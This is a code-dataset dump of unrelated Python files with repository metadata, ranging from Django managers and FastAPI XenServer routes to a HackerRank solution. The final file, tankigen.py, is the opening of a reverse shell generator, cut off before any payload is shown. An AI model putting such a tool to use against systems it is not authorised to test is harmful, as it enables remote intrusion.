b2e579ce0e1e8117670eaff6f142b594e6c78dc8

[ "MIT" ]

null

public_comment/lib/managers.py

codeforkyana/public-comment

b2e579ce0e1e8117670eaff6f142b594e6c78dc8

[ "MIT" ]

null

public_comment/lib/managers.py

codeforkyana/public-comment

b2e579ce0e1e8117670eaff6f142b594e6c78dc8

[ "MIT" ]

null

import logging from datetime import datetime from django.db import models from django.db.models import QuerySet from . import _thread_locals logger = logging.getLogger(__name__) class SoftDeleteManager(models.Manager): def __init__(self, *args, **kwargs): self.with_deleted = kwargs.pop("deleted", False) super().__init__(*args, **kwargs) def _base_queryset(self): return SoftDeleteQuerySet(self.model) def get_queryset(self): qs = self._base_queryset() if self.with_deleted: return qs return qs.filter(deleted_at=None) class SoftDeleteQuerySet(QuerySet): def delete(self): return super().update(deleted_at=datetime.utcnow()) def hard_delete(self): return super().delete() def restore(self): return super().update(deleted_at=None) class OrganizationOwnedModelManager(SoftDeleteManager): def __init__(self, *args, **kwargs): self.with_deleted = kwargs.pop("deleted", False) super().__init__(*args, **kwargs) def get_queryset(self): qs = super().get_queryset() if self.model.__name__ != "Organization": organization = getattr(_thread_locals, "organization", None) if organization: logger.info("Setting organization on queryset to %s (%s)", organization, organization.id) return qs.filter(organization=organization).prefetch_related("organization") return qs

29.058824

105

0.669366

164

1,482

5.786585

0.317073

0.04215

0.047418

0.031612

0.268704

0.229715

0.166491

0

0.221997

1,482

50

106

29.64

0.82307

0

0.277778

0

0.062753

0

1

0.222222

false

0

0.138889

0.111111

0.666667

0

null

0

null

0

1

0

1

0

3

4f2998a54e1c8d576f1abf4eaabd4425870ed461

561

py

Python

app/pytorch/book/chp004/e1/cross_entropy.py

yt7589/aqp

c9c1c79facdea7ace73e2421e8a5868d87fb58dd

[ "Apache-2.0" ]

null

app/pytorch/book/chp004/e1/cross_entropy.py

yt7589/aqp

c9c1c79facdea7ace73e2421e8a5868d87fb58dd

[ "Apache-2.0" ]

null

app/pytorch/book/chp004/e1/cross_entropy.py

yt7589/aqp

c9c1c79facdea7ace73e2421e8a5868d87fb58dd

[ "Apache-2.0" ]

null

from __future__ import division import numpy as np from loss import Loss from npai_stats import NpaiStats from sigmoid import Sigmoid class CrossEntropy(Loss): def __init__(self): pass def loss(self, y, p): # Avoid division by zero p = np.clip(p, 1e-15, 1 - 1e-15) return - y * np.log(p) def acc(self, y, p): return NpaiStats.accuracy_score(np.argmax(y, axis=1), np.argmax(p, axis=1)) def gradient(self, y, p): # Avoid division by zero p = np.clip(p, 1e-15, 1 - 1e-15) return - (y / p)

26.714286

83

0.616756

91

561

3.692308

0.384615

0.02381

0.053571

0.065476

0.291667

0

0.039024

0.269162

561

21

84

26.714286

0.780488

0.080214

0

0.133333

0

1

0.266667

false

0.066667

0.333333

0.066667

0.866667

0

null

0

null

0

1

0

1

0

3

4f2c83bf688f78376d32efdf1389eb175038991e

1,134

py

Python

deep-rl/lib/python2.7/site-packages/OpenGL/GL/EXT/framebuffer_blit.py

ShujaKhalid/deep-rl

99c6ba6c3095d1bfdab81bd01395ced96bddd611

[ "MIT" ]

210

2016-04-09T14:26:00.000Z

2022-03-25T18:36:19.000Z

deep-rl/lib/python2.7/site-packages/OpenGL/GL/EXT/framebuffer_blit.py

ShujaKhalid/deep-rl

99c6ba6c3095d1bfdab81bd01395ced96bddd611

[ "MIT" ]

72

2016-09-04T09:30:19.000Z

2022-03-27T17:06:53.000Z

deep-rl/lib/python2.7/site-packages/OpenGL/GL/EXT/framebuffer_blit.py

ShujaKhalid/deep-rl

99c6ba6c3095d1bfdab81bd01395ced96bddd611

[ "MIT" ]

64

2016-04-09T14:26:49.000Z

2022-03-21T11:19:47.000Z

'''OpenGL extension EXT.framebuffer_blit This module customises the behaviour of the OpenGL.raw.GL.EXT.framebuffer_blit to provide a more Python-friendly API Overview (from the spec) This extension modifies EXT_framebuffer_object by splitting the framebuffer object binding point into separate DRAW and READ bindings. This allows copying directly from one framebuffer to another. In addition, a new high performance blit function is added to facilitate these blits and perform some data conversion where allowed. The official definition of this extension is available here: http://www.opengl.org/registry/specs/EXT/framebuffer_blit.txt ''' from OpenGL import platform, constant, arrays from OpenGL import extensions, wrapper import ctypes from OpenGL.raw.GL import _types, _glgets from OpenGL.raw.GL.EXT.framebuffer_blit import * from OpenGL.raw.GL.EXT.framebuffer_blit import _EXTENSION_NAME def glInitFramebufferBlitEXT(): '''Return boolean indicating whether this extension is available''' from OpenGL import extensions return extensions.hasGLExtension( _EXTENSION_NAME ) ### END AUTOGENERATED SECTION

35.4375

71

0.810406

157

1,134

5.770701

0.55414

0.092715

0.099338

0.046358

0.118102

0.086093

0

0.137566

1,134

32

72

35.4375

0.92638

0.69224

0

1

0.111111

true

0

0.777778

0

1

0

null

0

null

0

1

0

1

0

1

0

3

4f399d57acd5e7e7e858c15b1176f7d92c46f168

171

py

Python

HackerRank/Problem Solving/Algorithms/Implementation/Save the Prisoner!.py

anubhab-code/Competitive-Programming

de28cb7d44044b9e7d8bdb475da61e37c018ac35

[ "MIT" ]

null

HackerRank/Problem Solving/Algorithms/Implementation/Save the Prisoner!.py

anubhab-code/Competitive-Programming

de28cb7d44044b9e7d8bdb475da61e37c018ac35

[ "MIT" ]

null

HackerRank/Problem Solving/Algorithms/Implementation/Save the Prisoner!.py

anubhab-code/Competitive-Programming

de28cb7d44044b9e7d8bdb475da61e37c018ac35

[ "MIT" ]

null

t = int(input()) while t > 0: t -= 1 n,m,s = map(int, input().strip().split(' ')) k = (s+m-1)%n if(k==0): print (n) else: print (k)

19

48

0.391813

29

171

2.310345

0.551724

0.238806

0

0.037037

0.368421

171

9

49

19

0.583333

0

0.005814

0

1

0

false

0

0.222222

1

0

null

1

0

1

0

null

0

3

4f62520b0b21b6f7234956507a4d3fe693faf604

1,093

py

Python

setup.py

JorisCos/asteroid_gan_exps

e3b9d3dc76265b3f4574ecb451df105f26acab3e

[ "MIT" ]

3

2020-11-23T10:07:47.000Z

2021-06-15T14:21:32.000Z

setup.py

JorisCos/asteroid_gan_exps

e3b9d3dc76265b3f4574ecb451df105f26acab3e

[ "MIT" ]

null

setup.py

JorisCos/asteroid_gan_exps

e3b9d3dc76265b3f4574ecb451df105f26acab3e

[ "MIT" ]

1

2020-12-03T13:40:46.000Z

from setuptools import setup, find_packages setup( name='asteroid_gan_exps', version='0.1', author='Joris Cosentino', author_email='joris.cosentino@inria.fr', url="https://github.com/JorisCos/asteroid_gan_exps", description='Experiments on GANs using Asteroid', license='MIT', python_requires='>=3.6', install_requires=['soundfile', 'pyyaml', 'pandas', 'numpy', 'tqdm', 'asteroid', 'scipy', 'pystoi' ], extras_require={ 'tests': ['pytest'], }, packages=find_packages(), include_package_data=True, classifiers=[ 'Development Status :: 4 - Beta', "Programming Language :: Python :: 3", 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )

30.361111

56

0.518756

97

1,093

5.721649

0.680412

0.136937

0.18018

0.187387

0

0.01683

0.347667

1,093

36

57

30.361111

0.761571

0

0.058824

0

0.414991

0.021938

0

1

0

true

0

0.029412

0

0.029412

0

null

0

1

0

null

0

1

0

3

4f749e412e06600292b62125fe88585f0709a995

196

py

Python

GeometricOpticsPy/OpticalSystem.py

NicoDeshler/GeometricOpticsPy

b808a506596fa532026c0f22e734dd66ed8c2b12

[ "MIT" ]

null

GeometricOpticsPy/OpticalSystem.py

NicoDeshler/GeometricOpticsPy

b808a506596fa532026c0f22e734dd66ed8c2b12

[ "MIT" ]

null

GeometricOpticsPy/OpticalSystem.py

NicoDeshler/GeometricOpticsPy

b808a506596fa532026c0f22e734dd66ed8c2b12

[ "MIT" ]

null

class OpticalSystem(): # A class that describes and optical system. # Assumptions # A system is composed of optical Surface placed at desired separations along the optical axis # A

39.2

98

0.729592

26

196

5.5

0.769231

0

0.229592

196

5

99

39.2

0.94702

0.760204

0

null

0

null

0

1

0

null

0

1

0

null

0

1

0

3

4f915f1b509994c7dee62e440312997e1daee417

1,803

py

Python

irco-server/ircoapp/migrations/0001_initial.py

go-team-13/IRCO

fc57b69f11eebb6a6f448798581783e0ed525d86

[ "MIT" ]

null

irco-server/ircoapp/migrations/0001_initial.py

go-team-13/IRCO

fc57b69f11eebb6a6f448798581783e0ed525d86

[ "MIT" ]

null

irco-server/ircoapp/migrations/0001_initial.py

go-team-13/IRCO

fc57b69f11eebb6a6f448798581783e0ed525d86

[ "MIT" ]

null

# Generated by Django 2.1.5 on 2019-01-12 22:05 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Program', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200)), ('description', models.CharField(max_length=200)), ('schedule', models.CharField(max_length=200)), ], ), migrations.CreateModel( name='Site', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200)), ('location', models.CharField(max_length=200)), ('lat', models.DecimalField(decimal_places=5, max_digits=10)), ('lon', models.DecimalField(decimal_places=5, max_digits=10)), ('locphone', models.CharField(max_length=200)), ('manager', models.CharField(max_length=200)), ('mgrphone1', models.CharField(max_length=200)), ('mgremail', models.CharField(max_length=200)), ('principal', models.CharField(max_length=200)), ('prncphone', models.CharField(max_length=200)), ('prncemail', models.CharField(max_length=200)), ], ), migrations.AddField( model_name='program', name='site', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='ircoapp.Site'), ), ]

38.361702

114

0.570161

179

1,803

5.608939

0.374302

0.179283

0.215139

0.286853

0.593626

0.378486

0.304781

0.219124

0

0.045277

0.289517

1,803

46

115

39.195652

0.738486

0.024958

0

0.333333

1

0

0.080866

0

1

0

false

0

0.051282

0

0.153846

0

null

0

1

0

1

0

null

0

3

4f9f9223cf5bfe4a7ed7706b97240d3f1466f61e

506

py

Python

services/web/server/src/simcore_service_webserver/version_control_tags.py

elisabettai/osparc-simcore

ad7b6e05111b50fe95e49306a992170490a7247f

[ "MIT" ]

null

services/web/server/src/simcore_service_webserver/version_control_tags.py

elisabettai/osparc-simcore

ad7b6e05111b50fe95e49306a992170490a7247f

[ "MIT" ]

1

2021-11-29T13:38:09.000Z

services/web/server/src/simcore_service_webserver/version_control_tags.py

mrnicegyu11/osparc-simcore

b6fa6c245dbfbc18cc74a387111a52de9b05d1f4

[ "MIT" ]

null

import re from typing import Optional from models_library.basic_regex import UUID_RE from models_library.projects import ProjectID def compose_workcopy_project_tag_name(workcopy_project_id: ProjectID) -> str: return f"project:{workcopy_project_id}" def parse_workcopy_project_tag_name(name: str) -> Optional[ProjectID]: if m := re.match(rf"^project:(?P<workcopy_project_id>{UUID_RE})$", name): data = m.groupdict() return ProjectID(data["workcopy_project_id"]) return None

29.764706

77

0.76087

71

506

5.126761

0.43662

0.247253

0.186813

0.120879

0

0.140316

506

16

78

31.625

0.836782

0

0.181818

0.144269

0

1

0.181818

false

0

0.363636

0.090909

0.818182

0

null

1

0

null

0

1

0

3

96ce81643768174ce8b46a62102fbeab46e70afd

226

py

Python

python-questions-for-pratices/Question-59.py

siddharth-143/Python

293f4643a3a13e3b82d23fd8922db54dbb0f12bc

[ "MIT" ]

null

python-questions-for-pratices/Question-59.py

siddharth-143/Python

293f4643a3a13e3b82d23fd8922db54dbb0f12bc

[ "MIT" ]

null

python-questions-for-pratices/Question-59.py

siddharth-143/Python

293f4643a3a13e3b82d23fd8922db54dbb0f12bc

[ "MIT" ]

null

""" Question 59 : Print a unicode string "hello world". Hints : Use u'string format to define unicode string """ # Solution : unicode_string = u"hello world!" print(unicode_string) """ Output : hello world """

14.125

56

0.659292

29

226

5.068966

0.551724

0.353742

0

0.011364

0.221239

226

16

57

14.125

0.823864

0.553097

0

0.196721

0

1

0

false

0

0.5

1

0

null

1

0

null

0

1

0

3

96d80597e5c02947d02d204bfc1daa1f894484a4

829

py

Python

pages/article_page/article_page.py

savvagen/playwright-pytest-example

acf4e89d0a7dcc1b71b1eb012366b1393f515b41

[ "Apache-2.0" ]

19

2020-11-15T16:37:51.000Z

2022-03-23T02:41:38.000Z

pages/article_page/article_page.py

cjydayang/playwright-pytest-example

acf4e89d0a7dcc1b71b1eb012366b1393f515b41

[ "Apache-2.0" ]

2

2021-01-03T21:38:37.000Z

2021-01-27T08:32:00.000Z

pages/article_page/article_page.py

cjydayang/playwright-pytest-example

acf4e89d0a7dcc1b71b1eb012366b1393f515b41

[ "Apache-2.0" ]

8

2020-11-05T23:27:37.000Z

2022-03-16T08:07:00.000Z

import allure from pages.web_page import WebPage from pages.web_elements import * class ArticlePage(WebPage): def title(self): return el(self.page, selector='.container > h1') def author_link(self): return el(self.page, selector='.author') def subject(self): return el(self.page, selector='div[class*="article-content"] h1') def publish_button(self): return el(self.page, selector='text="Publish Article"') def tags_field(self): return el(self.page, selector='input[placeholder="Enter tags"]') def __init__(self, base_url, article_id, page: Page): super().__init__(page) self.base_url = base_url self.article_id = article_id @allure.step def open(self): self.page.goto("%s/#/article/%s" % self.base_url, self.article_id, wait_until="load") return self

36.043478

93

0.689988

118

829

4.661017

0.372881

0.087273

0.109091

0.145455

0.327273

0.254545

0

0.002911

0.171291

829

22

94

37.681818

0.797671

0

0.15199

0.063932

0

1

0.411765

false

0

0.176471

0.294118

0.705882

0

null

0

null

0

1

0

1

0

3

96daef619ffbbeaf04e9f747d8fa517872f43cef

268

py

Python

tests/test_models.py

gilmrjc/djangopress

8e81e1477661b28a65b6d2ea5cccbf299219734b

[ "MIT" ]

null

tests/test_models.py

gilmrjc/djangopress

8e81e1477661b28a65b6d2ea5cccbf299219734b

[ "MIT" ]

null

tests/test_models.py

gilmrjc/djangopress

8e81e1477661b28a65b6d2ea5cccbf299219734b

[ "MIT" ]

null

"""Test for djangopress.core.models.""" from model_mommy import mommy from djangopress.core.models import Option def test_option_str(): """Test string representation for Option object.""" option = mommy.prepare(Option) assert str(option) == option.name

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1

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3

96e34a3d56486d6a01c5f875f8afeef7eca56d01

2,383

py

Python

API/v1/VBD/plug.py

MisakaMikoto0502/XenXenXenSe

58a4d288dd2ef3f09ee0062b542b50f0b11d1c43

[ "MIT" ]

null

API/v1/VBD/plug.py

MisakaMikoto0502/XenXenXenSe

58a4d288dd2ef3f09ee0062b542b50f0b11d1c43

[ "MIT" ]

null

API/v1/VBD/plug.py

MisakaMikoto0502/XenXenXenSe

58a4d288dd2ef3f09ee0062b542b50f0b11d1c43

[ "MIT" ]

null

from http.client import RemoteDisconnected from xmlrpc.client import Fault from fastapi import APIRouter, HTTPException from XenAPI.XenAPI import Failure from XenGarden.session import create_session from XenGarden.VBD import VBD from API.v1.Common import xenapi_failure_jsonify from app.settings import Settings router = APIRouter() @router.get("/{cluster_id}/vbd/{vbd_uuid}/plug") @router.post("/{cluster_id}/vbd/{vbd_uuid}/plug") async def _vbd_plug(cluster_id: str, vbd_uuid: str): """Plug VBD into VM""" try: session = create_session( _id=cluster_id, get_xen_clusters=Settings.get_xen_clusters() ) vbd: VBD = VBD.get_by_uuid(session=session, uuid=vbd_uuid) if vbd is not None: ret = dict(success=vbd.plug()) else: ret = dict(success=False) session.xenapi.session.logout() return ret except Failure as xenapi_error: raise HTTPException( status_code=500, detail=xenapi_failure_jsonify(xenapi_error) ) except Fault as xml_rpc_error: raise HTTPException( status_code=int(xml_rpc_error.faultCode), detail=xml_rpc_error.faultString, ) except RemoteDisconnected as rd_error: raise HTTPException(status_code=500, detail=rd_error.strerror) @router.delete("/{cluster_id}/vbd/{vbd_uuid}/plug") @router.get("/{cluster_id}/vbd/{vbd_uuid}/unplug") @router.post("/{cluster_id}/vbd/{vbd_uuid}/unplug") async def vbd_unplug(cluster_id: str, vbd_uuid: str): """Unplug from VBD""" try: session = create_session( _id=cluster_id, get_xen_clusters=Settings.get_xen_clusters() ) vbd: VBD = VBD.get_by_uuid(session=session, uuid=vbd_uuid) if vbd is not None: ret = dict(success=vbd.unplug()) else: ret = dict(success=False) session.xenapi.session.logout() return ret except Failure as xenapi_error: raise HTTPException( status_code=500, detail=xenapi_failure_jsonify(xenapi_error) ) except Fault as xml_rpc_error: raise HTTPException( status_code=int(xml_rpc_error.faultCode), detail=xml_rpc_error.faultString, ) except RemoteDisconnected as rd_error: raise HTTPException(status_code=500, detail=rd_error.strerror)

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0.231641

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null

0

1

0

1

0

null

0

3

96e734dc92c9bfe30c09882b5278257f306984ef

716

py

Python

custom/api/utils.py

dimagilg/commcare-hq

ea1786238eae556bb7f1cbd8d2460171af1b619c

[ "BSD-3-Clause" ]

471

2015-01-10T02:55:01.000Z

2022-03-29T18:07:18.000Z

custom/api/utils.py

dimagilg/commcare-hq

ea1786238eae556bb7f1cbd8d2460171af1b619c

[ "BSD-3-Clause" ]

14,354

2015-01-01T07:38:23.000Z

2022-03-31T20:55:14.000Z

custom/api/utils.py

dimagilg/commcare-hq

ea1786238eae556bb7f1cbd8d2460171af1b619c

[ "BSD-3-Clause" ]

175

2015-01-06T07:16:47.000Z

2022-03-29T13:27:01.000Z

from requests.auth import HTTPBasicAuth def apply_updates(doc, update_dict): # updates the doc with items from the dict # returns whether or not any updates were made should_save = False for key, value in update_dict.items(): if getattr(doc, key, None) != value: setattr(doc, key, value) should_save = True return should_save class EndpointMixin(object): @classmethod def from_config(cls, config): return cls(config.url, config.username, config.password) def _auth(self): return HTTPBasicAuth(self.username, self.password) def _urlcombine(self, base, target): return '{base}{target}'.format(base=base, target=target)

27.538462

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0.674581

92

716

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0.521739

0.063291

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0.234637

716

25

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28.64

0.864964

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0.022293

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0.0625

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null

0

null

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1

0

1

0

1

0

3

8c044ba4cf510c73d6cccb54a1d049a9d637e71a

122

py

Python

tasksapi/apps.py

mwiens91/saltant

9e72175a896f5859ada304ad3ae4d84dfc3834db

[ "MIT" ]

3

2018-12-08T01:18:29.000Z

2018-12-14T23:18:42.000Z

tasksapi/apps.py

saltant-org/saltant

db498a1186fc74221f8214ad1819dd03bf4b08ac

[ "MIT" ]

3

2019-05-23T07:43:13.000Z

2021-06-10T20:46:53.000Z

tasksapi/apps.py

saltant-org/saltant

db498a1186fc74221f8214ad1819dd03bf4b08ac

[ "MIT" ]

2

2019-03-13T22:31:09.000Z

2019-05-03T00:18:30.000Z

from django.apps import AppConfig class TasksApiConfig(AppConfig): name = "tasksapi" verbose_name = "tasks API"

17.428571

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122

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1

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null

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1

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null

0

1

0

3

8c46b68d6cc2ad4e26c12b0a79dd32ab487a8798

253

py

Python

docs/examples/compute/ec2/temporary_credentials.py

dupontz/libcloud

419c69441ea10e7bbf37319e5e8d02e82e7e6b40

[ "Apache-2.0" ]

1,435

2015-01-07T05:32:51.000Z

2022-03-25T19:39:34.000Z

docs/examples/compute/ec2/temporary_credentials.py

dupontz/libcloud

419c69441ea10e7bbf37319e5e8d02e82e7e6b40

[ "Apache-2.0" ]

1,158

2015-01-04T18:08:42.000Z

2022-03-24T14:34:57.000Z

docs/examples/compute/ec2/temporary_credentials.py

dupontz/libcloud

419c69441ea10e7bbf37319e5e8d02e82e7e6b40

[ "Apache-2.0" ]

832

2015-01-05T09:20:21.000Z

2022-03-24T19:22:19.000Z

from libcloud.compute.types import Provider from libcloud.compute.providers import get_driver cls = get_driver(Provider.EC2) driver = cls('temporary access key', 'temporary secret key', token='temporary session token', region="us-west-1")

36.142857

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253

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1

0

1

0

null

0

1

0

3

8c471d50f28f4ce276945cd00f4c09e5339f7e4c

7,272

py

Python

stubs.min/System/Windows/Interop_parts/HwndSourceParameters.py

ricardyn/ironpython-stubs

4d2b405eda3ceed186e8adca55dd97c332c6f49d

[ "MIT" ]

1

2021-02-02T13:39:16.000Z

stubs.min/System/Windows/Interop_parts/HwndSourceParameters.py

hdm-dt-fb/ironpython-stubs

4d2b405eda3ceed186e8adca55dd97c332c6f49d

[ "MIT" ]

null

stubs.min/System/Windows/Interop_parts/HwndSourceParameters.py

hdm-dt-fb/ironpython-stubs

4d2b405eda3ceed186e8adca55dd97c332c6f49d

[ "MIT" ]

null

class HwndSourceParameters(object): """ Contains the parameters that are used to create an System.Windows.Interop.HwndSource object using the System.Windows.Interop.HwndSource.#ctor(System.Windows.Interop.HwndSourceParameters) constructor. HwndSourceParameters(name: str) HwndSourceParameters(name: str,width: int,height: int) """ def Equals(self,obj): """ Equals(self: HwndSourceParameters,obj: HwndSourceParameters) -> bool Determines whether this structure is equal to a specified System.Windows.Interop.HwndSourceParameters structure. obj: The structure to be tested for equality. Returns: true if the structures are equal; otherwise,false. Equals(self: HwndSourceParameters,obj: object) -> bool Determines whether this structure is equal to a specified object. obj: The objects to be tested for equality. Returns: true if the comparison is equal; otherwise,false. """ pass def GetHashCode(self): """ GetHashCode(self: HwndSourceParameters) -> int Returns the hash code for this System.Windows.Interop.HwndSourceParameters instance. Returns: A 32-bit signed integer hash code. """ pass def SetPosition(self,x,y): """ SetPosition(self: HwndSourceParameters,x: int,y: int) Sets the values that are used for the screen position of the window for the System.Windows.Interop.HwndSource. x: The position of the left edge of the window. y: The position of the upper edge of the window. """ pass def SetSize(self,width,height): """ SetSize(self: HwndSourceParameters,width: int,height: int) Sets the values that are used for the window size of the System.Windows.Interop.HwndSource. width: The width of the window,in device pixels. height: The height of the window,in device pixels. """ pass def __eq__(self,*args): """ x.__eq__(y) <==> x==y """ pass @staticmethod def __new__(self,name,width=None,height=None): """ __new__[HwndSourceParameters]() -> HwndSourceParameters __new__(cls: type,name: str) __new__(cls: type,name: str,width: int,height: int) """ pass def __ne__(self,*args): pass AcquireHwndFocusInMenuMode=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the value that determines whether to acquire Win32 focus for the WPF containing window when an System.Windows.Interop.HwndSource is created. Get: AcquireHwndFocusInMenuMode(self: HwndSourceParameters) -> bool Set: AcquireHwndFocusInMenuMode(self: HwndSourceParameters)=value """ AdjustSizingForNonClientArea=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets a value that indicates whether to include the nonclient area for sizing. Get: AdjustSizingForNonClientArea(self: HwndSourceParameters) -> bool Set: AdjustSizingForNonClientArea(self: HwndSourceParameters)=value """ ExtendedWindowStyle=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the extended Microsoft Windows styles for the window. Get: ExtendedWindowStyle(self: HwndSourceParameters) -> int Set: ExtendedWindowStyle(self: HwndSourceParameters)=value """ HasAssignedSize=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets a value that indicates whether a size was assigned. Get: HasAssignedSize(self: HwndSourceParameters) -> bool """ Height=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets a value that indicates the height of the window. Get: Height(self: HwndSourceParameters) -> int Set: Height(self: HwndSourceParameters)=value """ HwndSourceHook=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the message hook for the window. Get: HwndSourceHook(self: HwndSourceParameters) -> HwndSourceHook Set: HwndSourceHook(self: HwndSourceParameters)=value """ ParentWindow=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the window handle (HWND) of the parent for the created window. Get: ParentWindow(self: HwndSourceParameters) -> IntPtr Set: ParentWindow(self: HwndSourceParameters)=value """ PositionX=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the left-edge position of the window. Get: PositionX(self: HwndSourceParameters) -> int Set: PositionX(self: HwndSourceParameters)=value """ PositionY=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the upper-edge position of the window. Get: PositionY(self: HwndSourceParameters) -> int Set: PositionY(self: HwndSourceParameters)=value """ RestoreFocusMode=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets how WPF handles restoring focus to the window. Get: RestoreFocusMode(self: HwndSourceParameters) -> RestoreFocusMode Set: RestoreFocusMode(self: HwndSourceParameters)=value """ TreatAncestorsAsNonClientArea=property(lambda self: object(),lambda self,v: None,lambda self: None) """Get: TreatAncestorsAsNonClientArea(self: HwndSourceParameters) -> bool Set: TreatAncestorsAsNonClientArea(self: HwndSourceParameters)=value """ TreatAsInputRoot=property(lambda self: object(),lambda self,v: None,lambda self: None) """Get: TreatAsInputRoot(self: HwndSourceParameters) -> bool Set: TreatAsInputRoot(self: HwndSourceParameters)=value """ UsesPerPixelOpacity=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets a value that declares whether the per-pixel opacity of the source window content is respected. Get: UsesPerPixelOpacity(self: HwndSourceParameters) -> bool Set: UsesPerPixelOpacity(self: HwndSourceParameters)=value """ UsesPerPixelTransparency=property(lambda self: object(),lambda self,v: None,lambda self: None) """Get: UsesPerPixelTransparency(self: HwndSourceParameters) -> bool Set: UsesPerPixelTransparency(self: HwndSourceParameters)=value """ Width=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets a value that indicates the width of the window. Get: Width(self: HwndSourceParameters) -> int Set: Width(self: HwndSourceParameters)=value """ WindowClassStyle=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the Microsoft Windows class style for the window. Get: WindowClassStyle(self: HwndSourceParameters) -> int Set: WindowClassStyle(self: HwndSourceParameters)=value """ WindowName=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the name of the window. Get: WindowName(self: HwndSourceParameters) -> str Set: WindowName(self: HwndSourceParameters)=value """ WindowStyle=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the style for the window. Get: WindowStyle(self: HwndSourceParameters) -> int Set: WindowStyle(self: HwndSourceParameters)=value """

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null

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8c4c36dcf3a36b91253467e951433811ad79e4f5

594

py

Python

tcex/input/models/create_config_model.py

phuerta-tc/tcex

4a4e800e1a6114c1fde663f8c3ab7a1d58045c79

[ "Apache-2.0" ]

null

tcex/input/models/create_config_model.py

phuerta-tc/tcex

4a4e800e1a6114c1fde663f8c3ab7a1d58045c79

[ "Apache-2.0" ]

null

tcex/input/models/create_config_model.py

phuerta-tc/tcex

4a4e800e1a6114c1fde663f8c3ab7a1d58045c79

[ "Apache-2.0" ]

null

"""Create Config Model""" # pylint: disable=no-self-argument,no-self-use # standard library from typing import Any, Dict # third-party from pydantic import BaseModel, root_validator class CreateConfigModel(BaseModel): """Create Config Model""" # TODO: [low] workaround for PLAT-4393 @root_validator(pre=True) def empty_str_to_none(cls, values: Dict[str, Any]): """Convert empty strings to None. Core sends '' for field that are not populated instead of sending a null value. """ return {k: v if v != '' else None for k, v in values.items()}

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0.833333

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null

0

1

0

1

0

1

0

3

8c5d9469f1ba60a3fb0da919781f5dd7bbae10c6

11,397

py

Python

tankigen.py

MasterScott/tankigen

2386fea5acbb16ae14649528a5889cb8a3fef0e9

[ "MIT" ]

18

2021-03-22T08:41:47.000Z

2022-02-23T00:32:37.000Z

tankigen.py

MasterScott/tankigen

2386fea5acbb16ae14649528a5889cb8a3fef0e9

[ "MIT" ]

1

2021-06-04T01:45:37.000Z

2021-06-04T01:46:01.000Z

tankigen.py

MasterScott/tankigen

2386fea5acbb16ae14649528a5889cb8a3fef0e9

[ "MIT" ]

8

2021-03-23T20:36:53.000Z

2021-09-21T12:30:08.000Z

#starting function # importing the necessary packages import time import sys import os # Function for implementing the loading animation def load_animation(): # String to be displayed when the application is loading load_str = "starting tankigen please wait..." ls_len = len(load_str) # String for creating the rotating line animation = "|/-\\" anicount = 0 # used to keep the track of # the duration of animation counttime = 0 # pointer for travelling the loading string i = 0 while (counttime != 100): # used to change the animation speed # smaller the value, faster will be the animation time.sleep(0.075) # converting the string to list # as string is immutable load_str_list = list(load_str) # x->obtaining the ASCII code x = ord(load_str_list[i]) # y->for storing altered ASCII code y = 0 # if the character is "." or " ", keep it unaltered # switch uppercase to lowercase and vice-versa if x != 32 and x != 46: if x>90: y = x-32 else: y = x + 32 load_str_list[i]= chr(y) # for storing the resultant string res ='' for j in range(ls_len): res = res + load_str_list[j] # displaying the resultant string sys.stdout.write("\r"+res + animation[anicount]) sys.stdout.flush() # Assigning loading string # to the resultant string load_str = res anicount = (anicount + 1)% 4 i =(i + 1)% ls_len counttime = counttime + 1 # for windows OS if os.name =="nt": os.system("cls") # for linux / Mac OS else: os.system("clear") # Driver program if __name__ == '__main__': load_animation() # Your desired code continues from here import argparse import base64 import sys #Python program to print #colored text and background # Python program to print # colored text and background def prRed(skk): print("\033[91m {}\033[00m" .format(skk)) def prGreen(skk): print("\033[92m {}\033[00m" .format(skk)) def prYellow(skk): print("\033[93m {}\033[00m" .format(skk)) def prLightPurple(skk): print("\033[94m {}\033[00m" .format(skk)) def prPurple(skk): print("\033[95m {}\033[00m" .format(skk)) def prCyan(skk): print("\033[96m {}\033[00m" .format(skk)) def prLightGray(skk): print("\033[97m {}\033[00m" .format(skk)) def prBlack(skk): print("\033[98m {}\033[00m" .format(skk)) prCyan ("A.K.A thelinuxuser-choice, ") prYellow ("Subodha Prabash") prGreen ("Coded with python") prRed ("you can get reverse shell cheat-sheet") prGreen ("help me there is pull requests") banner = r''' ░░░░░░███████ ]▄▄▄▄▄▄▄▄ ▂▄▅█████████▅▄▃▂ I███████████████████]. ◥⊙▲⊙▲⊙▲⊙▲⊙▲⊙▲⊙◤... ''' prCyan(banner) from time import sleep import sys line_1 = "|This is coded by me donot copy this code without giving me credits |" for x in line_1: print(x, end='') sys.stdout.flush() sleep(0.1) prRed("thelinuxuser-choice :") #progress bar this hash tags are for noobs with love #need alive_progress from alive_progress import alive_bar import time mylist = [1,2] with alive_bar(len(mylist)) as bar: for i in mylist: bar() time.sleep(1) #usage prints parser = argparse.ArgumentParser() parser.add_argument("-i", "--ip", type=str, help="IP address", dest='ipaddr') parser.add_argument("-p", "--port", type=int, help="Port number", dest='portnum') parser.add_argument("-t", "--type", type=str, help="Type of the reverse 